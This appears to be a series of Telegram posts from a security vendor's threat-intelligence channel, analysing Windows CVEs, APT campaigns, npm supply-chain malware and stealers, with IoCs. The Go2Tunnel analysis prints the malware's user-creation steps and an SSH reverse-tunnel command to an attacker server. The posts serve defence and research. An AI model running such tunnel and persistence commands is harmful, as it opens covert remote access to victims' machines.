ESCalator
6.61K subscribers
480 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
😏 Эксклюзивно для Escalator команда ESC-VR рассказывает о деталях уязвимости (CVE-2024-43629), которую мы нашли в компоненте Desktop Window Manage, позволяющей повысить привилегии до уровня системных.

Уязвимость находилась в библиотеке dwmcore.dll в функции CPrimitiveGroupDrawListBrush::IsColorConversionRequired (скриншот 1). При совместном использовании классов СSurfaceBrush и CPrimitiveGroup она позволяла достичь кода, который осуществляет вычисление положения экземпляра класса CDrawListBitmap в массиве drawListBitmap_Vec, располагающемся, в свою очередь, в экземпляре класса CPrimitiveGroupDrawListGenerator.

При определенном сочетании свойств экземпляров СSurfaceBrush и CPrimitiveGroup могла сложиться ситуация, при которой указатель drawListBitmap_Vec был бы равен нулю и все вычисления свелись бы только к работе с индексом, а его значение полностью контролировалось бы атакующим и имело размер DWORD. Таким образом можно было бы перехватить указатель на объект CDrawListBitmap (скриншот 2).

#escvr #win #cve
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥24👍105👏52🤗1
APT-C-60, или DarkHotel

💿 Мы как-то рассказывали про использование VHDX-файла в атаках и почему это удобно (нет, это не призыв к действию). Сам пост вы можете найти по ссылке. Тогда же мы упомянули, что по этой теме скоро выйдет исследование. Да, это наконец-то произошло!

🕵️‍♂️ Спешим вам напомнить про группировку APT-C-60. Это кибершпионская группа, впервые выявленная в 2021 году. Она нацелена на промышленные компании, особенно на производителей полупроводников в Южной Корее, а также на объекты в Восточной Азии.

Группировка использует фишинговые письма с вредоносными вложениями и эксплуатирует уязвимости в программном обеспечении (среди которых уязвимости в WPS Office) для внедрения вредоносного ПО под названием SpyGlace

В последнее время группировка использует уязвимости в продуктах WPS Office (CVE-2024-7262), однако ранее в своих атаках она как раз использовали виртуальный диск. В сентябре 2024 года мы заметили один из новых дисков и решили, что будет полезно рассказать об этом.

Другие исследователи связывают эту группировку с одним общим кластером под названием DarkHotel. Мы покажем, откуда взялась такая взаимосвязь, и еще раз убедимся, что исследовать метаданные — это важно.

☕️ Новое исследование можно найти на нашем сайте.

Приятного чтения!

#TI #news #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👍8💯6
📲 Облачные сервисы от оператора «МеХаФон»

Новости с полей: команда PT ESC наблюдает новую кампанию группировки Cloud Atlas, нацеленную на государственные организации из России и стран СНГ. Про эту группировку мы рассказывали в нашем исследовании APT Cloud Atlas: Unbroken Threat и в посте.

📝 В качестве исходного вектора в своих атаках злоумышленники традиционно используют фишинговые письма с вредоносным вложением «О представлении информации.doc» (VirusTotal 0/62). Рассылка осуществляется с адресов @internet.ru. Такой домен почтового адреса можно получить при регистрации на сервисе mail.ru.

Примечательно, что атакующие не изменяют себе и с 2014 года используют облачные сервисы. При этом они продолжают экспериментировать, и раз за разом в их арсенал добавляются новые популярные платформы. Поэтому в первую очередь мы настоятельно рекомендуем проверить все сессии по протоколу «Яндекс Диск WebDAV» (webdav.yandex.ru) и запросы через Google Sheets API (oauth2.googleapis.com, sheets.googleapis.com).

IoCs:


mehafon.com
technoguides.org

9943fee873c0642216d1578fc4373648b670b5bc47a8bf37366063041518f8b2


Happy hunting and stay tuned!

#hunt #detect #ioc #apt #news
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1754💯2👍1😁1
Какие еще легитимные тулы по типу ngrok будут использовать хакеры в будущем? ☹️
Anonymous Poll
23%
calc.exe
23%
ssh.exe
25%
notepad.exe
11%
cloudflared
😁14🍌6😱42🌭1
🔄 Большое малварное обновление правил Suricata

Надеюсь, вы помните, что у нас есть публичный репозиторий правил Suricata (писали о запуске ресурса в другом посте) и настроили suricata-update на поддержку официального источника правил ptrules/open ?

Если что, то вот ссылочка на репозиторий.

Не одними уязвимостями и хактулами живем 🙂

Мы, команда сетевой экспертизы антивирусной лаборатории PT ESC, провели большую работу по актуализации правил, направленных на детектирование активности вредоносного ПО, и вот — выкладываем часть своей экспертизы для общего пользования.

Из интересного:

— загрузчик RustyNet, стилер WorldWind, RAT'ник Slam, о которых писали ранее (в этом посте, этом и этом);
— вредонос для Android: SpyNote, Hydra, Zanubis;
— ужасный RAT'ник XWorm и много других интересных образцов.

Все правила вы можете найти на нашем сайте.

ВПО не пройдет, happy hunting!

#suricata #network #signature #rules
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18👍136
Прием, прием, нас слышно? 😲

Несмотря на то что хакеры в последнее время обленились и все чаще не разрабатывают ничего своего, изредка все же встречаются оригинальные идеи атак.

В архиве с громким названием 1С_модуль_заказа_дрон-v11.zip лежит файлик СВЯЗЬ РЭБ список Гум.exe со знакомым всем желтым значком «1С». При запуске файла пользователь видит стандартное окно загрузки «1C:Enterprise 8.3» с последующим открытием базы данных (скриншот 1).

🎇 Не будем вестись на яркие картинки и копнем глубже. При помощи sfextract потрошим .NET-установщик. Среди распакованных файлов находим 1C_Module.dll с подозрительно объемными ресурсами.

Библиотека содержит огромное количество легитимных классов «1С», и сам файл с первого взгляда выглядит как легитимный модуль. Но при поиске точек взаимодействия с ресурсами находим пропатченный класс \_1CManifestDelegateRunner.

В методе InitManifest расшифровывают ресурс _1C_Module.tmp и сохраняют его в папке temp. Расшифровываемый файл оказывается Go-дроппером, который расшифровывает 2️⃣3️⃣ файла. Среди них:

📏 10 исполняемых файлов
📏 6 скриптов
📏 7 файлов ресурсов и конфигов

Большинство файлов — это полный набор для настройки SSH-соединения, публичные и приватные ключи и конфиги. Скрипты выполняют следующие действия:

📏 Создают нового юзера с кредами:


$sshUserName = "config"
$sshUserPass = "[REDACTED]"


📏 Копируют все файлы в папку C:\Program Files\System Event Service
📏 Запускают SSHD и ssh-agent, настроив публичный и приватный ключ
📏 Запускают ntrights с параметрами -u "NT SERVICE\SSHD" +r SeAssignPrimaryTokenPrivilege
📏 Запускают таинственный файл shh-tunnel.exe или же впоследствии переименование — syseventservice-update.exe

На последнем пункте остановимся поподробнее, так как shh-tunnel.exe не является частью стандартного SSH. Этот экзешник написан на Go и представляет собой инструмент для установки туннеля, названный нами Go2Tunnel. Он вытаскивает из рядом лежащего конфига ssh_tunnel_config (или syseventservice-update_config) порты для создания туннеля:


C:\\Program Files\\System Event Service\\ssh.exe -R <ServerTunnelPort> :127.0.0.1:22 -N -T -i \"C:\\Program Files\\System Event Service\\event-server\" -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes -o ServerAliveInterval=45 -p<ServerSshPort> <ServerUserLogin>@<serverHostname>


В случае когда serverTunnelPort не указан, выполняется POST-запрос по следующему адресу:


https://<serverHostname>:<ServerWebPort>/tunnel/register


😌🐱🐱

Сам Go2Tunnel после создания туннеля только спит и ест и проверяет, работает ли сервер, при помощи команды ps1:


-Command "Get-NetTCPConnection -RemoteAddress <serverHostname> -RemotePort <ServerSshPort> -State Established -OwningProcess <sshProcess_Pid>"


Если ответа нет, то SSH-процесс прерывают, делают резолв адреса из конфига и заново запускают туннель.

🎇 IoCs:


15b3dcd795d417c69a627e13382800cc0cf005e9f5d0345e22a02f460b052ea1
2de2c9ab37ce5abfcd7e9018b1cb00066209b0b9ecdf70249148f53389dca5b1
5faa4da85e2657682fd40f5a86d61e87a3e70c3dff81335f226437c755a89f4a
6aa1fc0c2b7a01952b92e7af4f69fc602d34da95a872c57e7cfe34e918086c89
957a9705b200cd0f059d62d7b21e97db260b9b6c0c5ddf20c38d236103cb799b
fac77b7f1150c00dd5ca9da0f93e2f073a7eb70e2f4fd82a267afbc938a6e175
16.16.179.83
5.252.22.10


#TI #phishing #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥198👾8👍4
Not a Pwn2Own bug 🙂

CVE-2024-43641: ошибка типа CWE-190 позволяла переполнить счетчик ссылок на экземпляр _CM_KEY_SECURITY. Уязвимый код располагался в ntoskrnl.exe — в функции CmpSetSecurityDescriptorInfo (скриншот 1).

Для того чтобы достигнуть уязвимого кода, необходимо открыть или создать ключ реестра в режиме транзакций. Сделать это можно через функцию RegCreateKeyTransacted. Так как нет ограничения на количество операций, которые могут быть записаны в рамках одной транзакции, мы можем последовательно вызывать функцию NtSetSecurityObject. И каждый такой вызов будет увеличивать счетчик ссылок на 1.

Для того чтобы уязвимость «сдетонировала», необходимо прокрутить значение счетчика ссылок так, чтобы его значение стало меньше реального количества операций, записанных в рамках транзакции. Если это условие будет соблюдено, то после транзакции ячейка _CM_KEY_SECURITY будет освобождена раньше, чем закончатся операции, которые нужно завершить, что приведет к использованию освободившейся памяти (скриншот 2).

На третьем скриншоте — часть функции CmpDereferenceSecurityNode, отвечающая за уменьшение числа ссылок и освобождение _CM_KEY_SECURITY.

🩹 О патче

Патч переработал то, как подсистема Cоnfiguration Manager (СM) работает со ссылками на _CM_KEY_SECURITY, добавив как минимум две новые функции — CmpKeySecurityDecrementReferenceCount и CmpKeySecurityIncrementReferenceCount, которые теперь будут выдавать bugcheck, если количество ссылок станет равным нулю или после инкремента их будет меньше, чем до (скриншот 4).

К счастью, вряд ли уязвимость можно отнести к эксплуатабельным, так как, чтобы переполнить счетчик ссылок, последовательно увеличивая его на 1, потребуется очень много времени, да и окно, в рамках которого у нас есть возможность «подсунуть» что-то, слишком маленькое и неконтролируемое.

#cve #escvr
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍6💯6
Через блокчейн к данным ⭐️

Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum 😦

Из занятного — в коде библиотек используется несколько комментариев на русском:

console.error("Ошибка при получении IP адреса:", err);
console.error("Ошибка при запуске файла:", _0x88fda8);
console.error("Ошибка установки:", _0x14ce94);

Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.

В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов: node-win.exe, node-linux, node-macos. Ниже мы будем называть их агентами.

Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.

1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был https://localhost:3001 😈, остальные представляют собой VPS-серверы.

2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.

3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.

4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:

{"statusCode":404,"message":"ENOENT: no such file or directory, stat '/root/botnet-server/public/index.html'"}

Эта строка проливает свет на возможные цели злоумышленника ☕️

IoCs:

https://194.53.54.188:3001
https://193.233.201.21:3001
https://45.125.67.172:1337
https://45.125.67.172:1228
194.53.54.188
193.233.201.21
45.125.67.172

#ti #npm #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍10💯7
Да что не так с этим AES?

Злоумышленники часто применяют шифрование для обфускации частей образцов ВПО, которые могут представлять наибольший интерес при исследовании. Когда аналитик обнаруживает такие участки кода, он изучает алгоритм шифрования, и иногда, быстро узнав алгоритм, не видит смысла изучать его полностью.

На примере одного из семейств ВПО, замеченного в атаках на Латинскую Америку, разберем случай, в котором применяется продвинутая техника шифрования, но прячется она внутри самой, казалось бы, классической.

👾 Grandoreiro — бразильский банковский троян, который активен с 2016 года по сегодняшний день. Он доставляется в систему с помощью загрузчика, который получает ссылку на скачивание полезной нагрузки от С2-сервера.

Предыдущие схемы дешифрования строк в Grandoreiro (в частности, в загрузчике) включали кастомное декодирование зашифрованных строк, ключа AES и IV путем простой замены. Эти компоненты дешифровались с помощью XOR, и далее шифротекст расшифровывался окончательно с помощью ключа AES и IV в режиме AES CBC 256 бит.

🧐 При анализе недавних образцов Grandoreiro была замечена новая для этого семейства техника шифрования, которая применяется для усложнения анализа, — Ciphertext Stealing (CTS). Это режим шифрования, который используется, когда открытый текст не кратен размеру блока.

Например, одна из наиболее известных схем паддинга (PKCS #7) дополняет последний блок байтами, чтобы гарантировать, что он по размеру совпадает с полным блоком. CTS работает без паддинга. Его работу мы заметим над последним неполным блоком данных (который не кратен размеру блока).

Что именно происходит:

1️⃣ Шифруется последний полный блок.

2️⃣ Зашифрованный последний полный блок «ксорится» с частичным (неполным) блоком.

Такой способ предоставляет возможность шифровать открытый текст произвольной длины без добавления паддинга, сохраняя исходный размер данных.

Чтобы на практике понять, как это работает, посмотрим на реализацию алгоритма:


cipher = AES.new(aes_key, AES.MODE_ECB)
encr = b"\x00"*16
initial_key = cipher.encrypt(encr) # your value here

block_size = 16
total_blocks = len(ciphered_data) // block_size
decrypted_data = bytearray()
previous_block = initial_key

if total_blocks:
# Decrypt all complete blocks
for i in range(total_blocks):
current_block = ciphered_data[i * block_size:(i + 1) * block_size]
key = previous_block
decr_block = cipher.decrypt(current_block)
decrypted_data.extend(bytes(x ^ y for x, y in zip(decr_block, key)))
previous_block = current_block

# Handle the last block with ciphertext stealing
if len(ciphered_data) % block_size > 0:
last_full_block = previous_block
if total_blocks:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data) - (i + 1) * block_size] #take as much bytes off of the last full block (encrypted) as remained yet to decrypt (ciphertext)
partial_block = ciphered_data[(i + 1) * block_size:len(ciphered_data)] #bytes left to decrypt, not a multiple of the block size
else:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data)]
partial_block = ciphered_data[:len(ciphered_data)]

stolen_block = bytes(x ^ y for x, y in zip(partial_block, last_full_block))
decrypted_data.extend(stolen_block)


Метод довольно оригинальный, и в Grandoreiro он прячется внутри функций, которые реализуют обычный, на первый взгляд, AES.

Поэтому, прежде чем начинать писать скрипты расшифровки, видя заветную аббревиатуру, следует посмотреть на код внимательно — убедиться, что используется действительно классическая версия алгоритма, и не тратить часы в поиске ответа на вопрос «ну почему оно не расшифровывается?».

#TI #tip #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍12💯6
📑 TaxOff: кажется, у вас… бэкдор

В третьем квартале специалисты TI-департамента экспертного центра безопасности Positive Technologies (PT Expert Security Center, PT ESC) обнаружили серию атак, направленных на государственные структуры России. Связей с уже известными группами, использующими такие же техники, нам установить не удалось.

😐 Основными целями киберпреступников были шпионаж и закрепление в системе для развития последующих атак. Эту группировку мы назвали TaxOff из-за использования писем на правовые и финансовые темы в качестве приманок. В своих атаках злоумышленники применяли написанный минимум на C++17 бэкдор, который мы назвали Trinper из-за артефакта, используемого при соединении с C2-сервером.

📩 Начальный вектор заражения — фишинговые письма. Мы обнаружили несколько таких: в одном была ссылка на Яндекс Диск с вредоносным содержимым, связанным с «1С», в другом — фальшивый установщик ПО для заполнения справок о доходах и расходах, которые госслужащим необходимо подавать каждый год. И ежегодно это ПО обновляется и становится целью злоумышленников, распространяющих вредоносы под видом обновлений.

Trinper — написанный на C++ многопоточный бэкдор с гибкой конфигурацией, в котором используются шаблонный метод в качестве паттерна проектирования, контейнеры STL, буферный кэш для повышения производительности.

🧐 Подробный анализ бэкдора и действий группировки TaxOff, а также индикаторы компрометации вы можете найти в отчете.

#TI #APT #IOC #Reverse
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍7👌4💯2
Нас — много. И еще годных каналов немало! 😃

Мы собрали в одной папке паблики знакомых коллег по цеху — рекомендуем к изучению.

Опрос — на следующей неделе 😏

@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥30👍115
Опять стилер на Python?! 🫣

С начала сентября мы фиксируем атаки, которые на первый взгляд можно отнести к активности группировки Lazy Koala. В качестве C2-сервера для эксфильтрации скомпрометированных данных используется телеграм-бот, а названия приманок похожи на названия тех файлов, которые Lazy Koala применяла в атаках:


Исковое_заявление_о_взыскании_убытков_и_морального_вреда_в_связи_с_нарушением_условий_договора_№1234_от_28_августа_2024_года_и_неудовлетворением_претензии.exe
Претензия_о_нарушении_договорных_обязательств_и_требование_возмещения_ущерба_по_договору_№1234_от_28_августа_2024_года.exe


Но при дальнейшем изучении кода стилера, который мы назвали MarkerStealer (из-за артефакта script_executed.marker), а также телеграм-ботов связи с группировкой установить не удалось.

👾 Сам же MarkerStealer имеет стандартную для всех стилеров функциональность: позволяет получать учетные данные и куки из браузеров и проводить их эксфильтрацию на C2-сервер.

Единственное, что выделяет его на фоне других, — создание так называемого маркера по пути %TEMP%\script_executed.marker, сигнализирующего о том, что стилер уже отработал. У маркера есть время жизни: если при повторном запуске MarkerStealer время создания %TEMP%\script_executed.marker превышает сутки, тогда вредонос по новой собирает учетные записи и куки из браузеров.

IoCs:


1b9f8a0edfedb141753d080f6200573f75d275d0d5b62bba6008e1a0424a1846
3e32ab015ad7a1c35faf649dd0dfd50084918e0ffde65c5911409a659e049022
7b8f901160f567e8fe1294dcc5477da08f1bb133935a679ac5f704df2ab2862b
37e17898d9e6e4950fe9639cbb5f4102df6cfb7b3e236120b036a0d2c5362815
7572f826e9ccde9183537afb6146c844fea177bc3b6053e27f35190d0a71f507
12458b8e63d084d161dc24b3a3d46967c9bc1ad9613deb26d76f378a34869301
400269ef55144512f0ceb74854c7d913f6aa4650de8ecf096487727895f8bc80
274784844d3c112127b7a5e7d8b60d2f256aad4c56c6e07ba681186764d63396
cd10cc5a6c69d8cffedcb80e79985c9762ab0f0853298981ce13991d51642b40
e4a6e228e88504bc622a50fdeb3f2c264466a6bc7283136675cc4f2c6aa11ca6
2ecdd29bd72d001186ca2c9946e7e8e16da84c45678d66abfde8d940cf78df09


#TI #Malware
@ptescalator
🔥14👍6💯51